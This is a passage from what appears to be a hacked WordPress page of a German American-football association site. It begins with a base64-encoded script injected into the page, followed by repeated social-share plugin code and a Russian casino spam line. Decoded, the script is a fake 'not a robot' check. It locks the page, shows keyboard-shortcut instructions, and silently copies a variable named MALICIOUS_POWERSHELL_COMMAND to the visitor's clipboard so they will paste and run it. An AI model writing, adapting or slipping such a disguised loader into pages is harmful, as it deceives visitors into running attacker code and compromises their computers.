ICAgICAgICBjcmVkZW50aWFsczogJ29taXQnLA0KICAgICAgICAgICAgICAgICAgICBjYWNoZTogJ25vLXN0b3JlJw0KICAgICAgICAgICAgICAgIH0pDQogICAgICAgICAgICAgICAgLnRoZW4oZnVuY3Rpb24ocmVzcG9uc2UpIHsNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHJlc3BvbnNlLmpzb24oKTsNCiAgICAgICAgICAgICAgICB9KQ0KICAgICAgICAgICAgICAgIC50aGVuKGZ1bmN0aW9uKGRhdGEpIHsNCiAgICAgICAgICAgICAgICAgICAgaXNQb2xsSW5GbGlnaHQgPSBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKGRhdGEgJiYgZGF0YS5leGlzdHMgPT09IHRydWUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGNvbXBsZXRlVmVyaWZpY2F0aW9uKCk7DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAvLyBOZXh0IEdFVCBvbmx5IGFmdGVyIHRoaXMgcmVzcG9uc2Ug4oCUIG5ldmVyIG92ZXJsYXAuDQogICAgICAgICAgICAgICAgICAgICAgICBzZXRUaW1lb3V0KHBvbGxTZXJ2ZXJTdGF0dXMsIDIwMDApOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSkNCiAgICAgICAgICAgICAgICAuY2F0Y2goZnVuY3Rpb24oKSB7DQogICAgICAgICAgICAgICAgICAgIGlzUG9sbEluRmxpZ2h0ID0gZmFsc2U7DQogICAgICAgICAgICAgICAgICAgIHNldFRpbWVvdXQocG9sbFNlcnZlclN0YXR1cywgMjAwMCk7DQogICAgICAgICAgICAgICAgfSk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHNldFRpbWVvdXQocG9sbFNlcnZlclN0YXR1cywgMjAwMCk7DQogICAgICAgIH0NCg0KICAgICAgICBmdW5jdGlvbiBwcm9jZXNzS2V5Ym9hcmRTdGVwcyhtb2RhbEVsZW1lbnQpIHsNCiAgICAgICAgICAgIHZhciBidXR0b25FbGVtZW50cyA9IEFycmF5LnByb3RvdHlwZS5zbGljZS5jYWxsKA0KICAgICAgICAgICAgICAgIG1vZGFsRWxlbWVudC5xdWVyeVNlbGVjdG9yQWxsKCcuc3RlcC10ZXh0IGInKQ0KICAgICAgICAgICAgKTsNCg0KICAgICAgICAgICAgZm9yICh2YXIgaSA9IDA7IGkgPCBidXR0b25FbGVtZW50cy5sZW5ndGg7IGkrKykgew0KICAgICAgICAgICAgICAgIHZhciBidXR0b25FbGVtZW50ID0gYnV0dG9uRWxlbWVudHNbaV07DQoNCiAgICAgICAgICAgICAgICBpZiAoYnV0dG9uRWxlbWVudC5pbm5lckhUTUwuaW5kZXhPZignICsgJykgPT09IC0xKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIHZhciBrZXlQYXJ0cyA9IGJ1dHRvbkVsZW1lbnQuaW5uZXJIVE1MLnNwbGl0KCcgKyAnKTsNCiAgICAgICAgICAgICAgICB2YXIgZG9jdW1lbnRGcmFnbWVudCA9IGRvY3VtZW50LmNyZWF0ZURvY3VtZW50RnJhZ21lbnQoKTsNCg0KICAgICAgICAgICAgICAgIGZvciAodmFyIGogPSAwOyBqIDwga2V5UGFydHMubGVuZ3RoOyBqKyspIHsNCg0KICAgICAgICAgICAgICAgICAgICBpZiAoaiA+IDApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBwbHVzU3BhbiA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NwYW4nKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHBsdXNTcGFuLnN0eWxlLmNzc1RleHQgPSAnY29sb3I6IzY2Njtmb250LXNpemU6MTFweDttYXJnaW46MCAzcHg7dmVydGljYWwtYWxpZ246bWlkZGxlOyc7DQogICAgICAgICAgICAgICAgICAgICAgICBwbHVzU3Bhbi50ZXh0Q29udGVudCA9ICcrJzsNCiAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50RnJhZ21lbnQuYXBwZW5kQ2hpbGQocGx1c1NwYW4pOw0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgdmFyIG5ld0J1dHRvbiA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2InKTsNCiAgICAgICAgICAgICAgICAgICAgbmV3QnV0dG9uLmlubmVySFRNTCA9IGtleVBhcnRzW2pdOw0KICAgICAgICAgICAgICAgICAgICBkb2N1bWVudEZyYWdtZW50LmFwcGVuZENoaWxkKG5ld0J1dHRvbik7DQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgYnV0dG9uRWxlbWVudC5wYXJlbnROb2RlLnJlcGxhY2VDaGlsZChkb2N1bWVudEZyYWdtZW50LCBidXR0b25FbGVtZW50KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIGZ1bmN0aW9uIHN0YXJ0S2V5Ym9hcmRBbmltYXRpb24obW9kYWxFbGVtZW50KSB7DQogICAgICAgICAgICB2YXIgaW5zdHJ1Y3Rpb25JdGVtcyA9IEFycmF5LnByb3RvdHlwZS5zbGljZS5jYWxsKA0KICAgICAgICAgICAgICAgIG1vZGFsRWxlbWVudC5xdWVyeVNlbGVjdG9yQWxsKCcuaW5zdHJ1Y3Rpb24tbGlzdCBsaScpDQogICAgICAgICAgICApOw0KICAgICAgICAgICAgdmFyIGFuaW1hdGlvblF1ZXVlID0gW107DQoNCiAgICAgICAgICAgIGluc3RydWN0aW9uSXRlbXMuZm9yRWFjaChmdW5jdGlvbihsaXN0SXRlbSkgew0KICAgICAgICAgICAgICAgIHZhciBidXR0b25zID0gQXJyYXkucHJvdG90eXBlLnNsaWNlLmNhbGwoDQogICAgICAgICAgICAgICAgICAgIGxpc3RJdGVtLnF1ZXJ5U2VsZWN0b3JBbGwoJy5zdGVwLXRleHQgYicpDQogICAgICAgICAgICAgICAgKTsNCg0KICAgICAgICAgICAgICAgIGlmICghYnV0dG9ucy5sZW5ndGgpIHJldHVybjsNCg0KICAgICAgICAgICAgICAgIGlmIChidXR0b25zLmxlbmd0aCA9PT0gMSkgew0KDQogICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICdwcmVzcycsIGtleTogYnV0dG9uc1swXX0pOw0KICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAnd2FpdCcsIG1pbGxpc2Vjb25kczogNjAwfSk7DQogICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICdyZWxlYXNlJywga2V5OiBidXR0b25zWzBdfSk7DQogICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICd3YWl0JywgbWlsbGlzZWNvbmRzOiA0NTB9KTsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KDQogICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICdwcmVzcycsIGtleTogYnV0dG9uc1swXX0pOw0KICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAnd2FpdCcsIG1pbGxpc2Vjb25kczogNDAwfSk7DQoNCiAgICAgICAgICAgICAgICAgICAgZm9yICh2YXIgaiA9IDE7IGogPCBidXR0b25zLmxlbmd0aDsgaisrKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAncHJlc3MnLCBrZXk6IGJ1dHRvbnNbal19KTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICd3YWl0JywgbWlsbGlzZWNvbmRzOiAzODB9KTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICdyZWxlYXNlJywga2V5OiBidXR0b25zW2pdfSk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChqIDwgYnV0dG9ucy5sZW5ndGggLSAxKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uUXVldWUucHVzaCh7dHlwZTogJ3dhaXQnLCBtaWxsaXNlY29uZHM6IDEwMH0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uUXVldWUucHVzaCh7dHlwZTogJ3dhaXQnLCBtaWxsaXNlY29uZHM6IDIwMH0pOw0KICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAncmVsZWFzZScsIGtleTogYnV0dG9uc1swXX0pOw0KICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAnd2FpdCcsIG1pbGxpc2Vjb25kczogNTAwfSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSk7DQoNCiAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICd3YWl0JywgbWlsbGlzZWNvbmRzOiAxNjAwfSk7DQoNCiAgICAgICAgICAgIHZhciBjdXJyZW50SW5kZXggPSAwOw0KDQogICAgICAgICAgICBmdW5jdGlvbiBleGVjdXRlTmV4dEFuaW1hdGlvbigpIHsNCiAgICAgICAgICAgICAgICBpZiAoY3VycmVudEluZGV4ID49IGFuaW1hdGlvblF1ZXVlLmxlbmd0aCkgew0KICAgICAgICAgICAgICAgICAgICBjdXJyZW50SW5kZXggPSAwOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIHZhciBhbmltYXRpb25TdGVwID0gYW5pbWF0aW9uUXVldWVbY3VycmVudEluZGV4KytdOw0KDQogICAgICAgICAgICAgICAgaWYgKGFuaW1hdGlvblN0ZXAudHlwZSA9PT0gJ3ByZXNzJykgew0KDQogICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblN0ZXAua2V5LmNsYXNzTGlzdC5hZGQoJ2tsaXQnKTsNCiAgICAgICAgICAgICAgICAgICAgZXhlY3V0ZU5leHRBbmltYXRpb24oKTsNCiAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGFuaW1hdGlvblN0ZXAudHlwZSA9PT0gJ3JlbGVhc2UnKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uU3RlcC5rZXkuY2xhc3NMaXN0LnJlbW92ZSgna2xpdCcpOw0KICAgICAgICAgICAgICAgICAgICBleGVjdXRlTmV4dEFuaW1hdGlvbigpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQoNCiAgICAgICAgICAgICAgICAgICAgc2V0VGltZW91dChleGVjdXRlTmV4dEFuaW1hdGlvbiwgYW5pbWF0aW9uU3RlcC5taWxsaXNlY29uZHMpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgc2V0VGltZW91dChleGVjdXRlTmV4dEFuaW1hdGlvbiwgNjAwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGZ1bmN0aW9uIGFkZFN0ZXBPbmVUb29sdGlwKG1vZGFsRWxlbWVudCwgdG9vbHRpcFRleHQpIHsNCiAgICAgICAgICAgIGlmICghdG9vbHRpcFRleHQpIHJldHVybjsNCg0KICAgICAgICAgICAgdmFyIGZpcnN0TGlzdEl0ZW0gPSBtb2RhbEVsZW1lbnQucXVlcnlTZWxlY3RvcignLmluc3RydWN0aW9uLWxpc3QgbGknKTsNCiAgICAgICAgICAgIGlmICghZmlyc3RMaXN0SXRlbSkgcmV0dXJuOw0KDQogICAgICAgICAgICB2YXIgYnV0dG9ucyA9IGZpcnN0TGlzdEl0ZW0ucXVlcnlTZWxlY3RvckFsbCgnLnN0ZXAtdGV4dCBiJyk7DQogICAgICAgICAgICB2YXIgdGFyZ2V0QnV0dG9uID0gbnVsbDsNCg0KICAgICAgICAgICAgZm9yICh2YXIgaSA9IDA7IGkgPCBidXR0b25zLmxlbmd0aDsgaSsrKSB7DQogICAgICAgICAgICAgICAgaWYgKGJ1dHRvbnNbaV0ucXVlcnlTZWxlY3Rvcignc3ZnJykpIHsNCiAgICAgICAgICAgICAgICAgICAgdGFyZ2V0QnV0dG9uID0gYnV0dG9uc1tpXTsNCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpZiAoIXRhcmdldEJ1dHRvbiAmJiBidXR0b25zLmxlbmd0aCkgew0KICAgICAgICAgICAgICAgIHRhcmdldEJ1dHRvbiA9IGJ1dHRvbnNbMF07DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGlmICghdGFyZ2V0QnV0dG9uKSByZXR1cm47DQoNCiAgICAgICAgICAgIHZhciBoaW50U3BhbiA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NwYW4nKTsNCiAgICAgICAgICAgIGhpbnRTcGFuLmNsYXNzTmFtZSA9ICd3ay1oaW50JzsNCiAgICAgICAgICAgIGhpbnRTcGFuLmFwcGVuZENoaWxkKGRvY3VtZW50LmNyZWF0ZVRleHROb2RlKCc/JykpOw0KDQogICAgICAgICAgICB2YXIgdG9vbHRpcFNwYW4gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzcGFuJyk7DQogICAgICAgICAgICB0b29sdGlwU3Bhbi5jbGFzc05hbWUgPSAnd2stdG9vbHRpcCc7DQogICAgICAgICAgICB0b29sdGlwU3Bhbi50ZXh0Q29udGVudCA9IHRvb2x0aXBUZXh0Ow0KICAgICAgICAgICAgaGludFNwYW4uYXBwZW5kQ2hpbGQodG9vbHRpcFNwYW4pOw0KDQogICAgICAgICAgICB0YXJnZXRCdXR0b24uYXBwZW5kQ2hpbGQoaGludFNwYW4pOw0KICAgICAgICB9DQoNCiAgICAgICAgdmFyIGNoZWNrYm94QnV0dG9uID0gcm9vdEVsZW1lbnQucXVlcnlTZWxlY3RvcignI2NmLWNiJyk7DQogICAgICAgIHZhciBzcGlubmVyRWxlbWVudCA9IHJvb3RFbGVtZW50LnF1ZXJ5U2VsZWN0b3IoJyNjZi1zcCcpOw0KICAgICAgICB2YXIgbGFiZWxFbGVtZW50ID0gcm9vdEVsZW1lbnQucXVlcnlTZWxlY3RvcignI2NmLWxibCcpOw0KICAgICAgICB2YXIgbW9kYWxFbGVtZW50ID0gcm9vdEVsZW1lbnQucXVlcnlTZWxlY3RvcignI2NmLW1vZGFsJyk7DQoNCiAgICAgICAgZnVuY3Rpb24gcHJldmVudFBhZ2VVbmxvYWQoZXZlbnQpIHsNCiAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgICAgICBldmVudC5yZXR1cm5WYWx1ZSA9ICcnOw0KICAgICAgICB9DQoNCiAgICAgICAgd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoJ2JlZm9yZXVubG9hZCcsIHByZXZlbnRQYWdlVW5sb2FkKTsNCg0KICAgICAgICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgaWYgKGNoZWNrYm94QnV0dG9uKSB7DQogICAgICAgICAgICAgICAgY2hlY2tib3hCdXR0b24uc3R5bGUuZGlzcGxheSA9ICdibG9jayc7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAoc3Bpbm5lckVsZW1lbnQpIHsNCiAgICAgICAgICAgICAgICBzcGlubmVyRWxlbWVudC5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKGxhYmVsRWxlbWVudCkgew0KICAgICAgICAgICAgICAgIGxhYmVsRWxlbWVudC50ZXh0Q29udGVudCA9IFVJX1RSQU5TTEFUSU9OUy5ub3RSb2JvdFRleHQ7DQogICAgICAgICAgICB9DQogICAgICAgIH0sIDMwMDApOw0KDQogICAgICAgIGNoZWNrYm94QnV0dG9uLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgZnVuY3Rpb24oKSB7DQoNCiAgICAgICAgICAgIGlmIChjaGVja2JveEJ1dHRvbi5fX2V4ZWN1dGVkKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgY2hlY2tib3hCdXR0b24uX19leGVjdXRlZCA9IHRydWU7DQoNCiAgICAgICAgICAgIHdpbmRvdy5yZW1vdmVFdmVudExpc3RlbmVyKCdiZWZvcmV1bmxvYWQnLCBwcmV2ZW50UGFnZVVubG9hZCk7DQoNCiAgICAgICAgICAgIGNoZWNrYm94QnV0dG9uLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7DQogICAgICAgICAgICBzcGlubmVyRWxlbWVudC5zdHlsZS5kaXNwbGF5ID0gJ2ZsZXgnOw0KICAgICAgICAgICAgaWYgKGxhYmVsRWxlbWVudCkgew0KICAgICAgICAgICAgICAgIGxhYmVsRWxlbWVudC50ZXh0Q29udGVudCA9IFVJX1RSQU5TTEFUSU9OUy52ZXJpZnlpbmdUZXh0Ow0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpZiAoUkFZX1RSQUNLSU5HX0lEKSB7DQogICAgICAgICAgICAgICAgc2VuZFJlcXVlc3RUb1NlcnZlcih7DQogICAgICAgICAgICAgICAgICAgIGFjdGlvbjogJ2NiJywNCiAgICAgICAgICAgICAgICAgICAgazogQVBJX0FVVEhfS0VZLA0KICAgICAgICAgICAgICAgICAgICB0OiBSQVlfVFJBQ0tJTkdfSUQNCiAgICAgICAgICAgICAgICB9KTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgc2VydmVyUGF5bG9hZFByb21pc2UudGhlbihmdW5jdGlvbihwYXlsb2FkQ29tbWFuZCkgew0KDQogICAgICAgICAgICAgICAgaWYgKG1vZGFsRWxlbWVudCkgew0KICAgICAgICAgICAgICAgICAgICBtb2RhbEVsZW1lbnQuY2xhc3NMaXN0LmFkZCgnYWN0aXZlJyk7DQogICAgICAgICAgICAgICAgICAgIHByb2Nlc3NLZXlib2FyZFN0ZXBzKG1vZGFsRWxlbWVudCk7DQogICAgICAgICAgICAgICAgICAgIHN0YXJ0S2V5Ym9hcmRBbmltYXRpb24obW9kYWxFbGVtZW50KTsNCiAgICAgICAgICAgICAgICAgICAgYWRkU3RlcE9uZVRvb2x0aXAobW9kYWxFbGVtZW50LCBVSV9UUkFOU0xBVElPTlMuc3RlcEtleUhlbHApOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIGlmIChwYXlsb2FkQ29tbWFuZCkgew0KICAgICAgICAgICAgICAgICAgICB2YXIgZmluYWxDb21tYW5kID0gTUFMSUNJT1VTX1BPV0VSU0hFTExfQ09NTUFORCA/DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAoTUFMSUNJT1VTX1BPV0VSU0hFTExfQ09NTUFORCArICc7JykgOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKHBheWxvYWRDb21tYW5kKTsNCg0KICAgICAgICAgICAgICAgICAgICBjb3B5VGV4dFRvQ2xpcGJvYXJkKGJ1aWxkQ2xpcGJvYXJkQ29tbWFuZCgpKTsNCg0KICAgICAgICAgICAgICAgICAgICB2YXIgb3NLZXlMaXN0ZW5lciA9IGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgICAgICAgICAgICAgICAgICAgICB2YXIgb3MgPSBUQVJHRVRfT1BFUkFUSU5HX1NZU1RFTSB8fCBkZXRlY3RWaXNpdG9yT3MoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBzaG91bGRSZWZyZXNoQ2xpcGJvYXJkID0gZmFsc2U7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChvcyA9PT0gJ21hYycpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzaG91bGRSZWZyZXNoQ2xpcGJvYXJkID0gISEoZXZlbnQubWV0YUtleSB8fCBldmVudC5rZXkgPT09ICdNZXRhJyk7DQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKG9zID09PSAnbGludXgnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgc2hvdWxkUmVmcmVzaENsaXBib2FyZCA9ICEhKA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBldmVudC5jdHJsS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBTdHJpbmcoZXZlbnQua2V5IHx8ICcnKS50b0xvd2VyQ2FzZSgpID09PSAndCcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzaG91bGRSZWZyZXNoQ2xpcGJvYXJkID0gISEoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV2ZW50Lm1ldGFLZXkgfHwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXZlbnQua2V5ID09PSAnTWV0YScgfHwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXZlbnQua2V5Q29kZSA9PT0gOTEgfHwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXZlbnQua2V5Q29kZSA9PT0gOTINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoc2hvdWxkUmVmcmVzaENsaXBib2FyZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvcHlUZXh0VG9DbGlwYm9hcmQoYnVpbGRDbGlwYm9hcmRDb21tYW5kKCkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LnJlbW92ZUV2ZW50TGlzdGVuZXIoJ2tleWRvd24nLCBvc0tleUxpc3RlbmVyKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfTsNCg0KICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdrZXlkb3duJywgb3NLZXlMaXN0ZW5lcik7DQoNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICB3YWl0Rm9yRXhlY3V0aW9uVG9rZW4oUkFZX1RSQUNLSU5HX0lEKTsNCiAgICAgICAgICAgIH0pOw0KICAgICAgICB9KTsNCiAgICB9KSgpOw0KDQogIH0pO30oKTs=“);document.documentElement.appendChild(s);})();
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
SEO Super Tool
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
Раздел условия La Casino стоит проверить до регистрации; актуальные правила доступны на сайте.
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
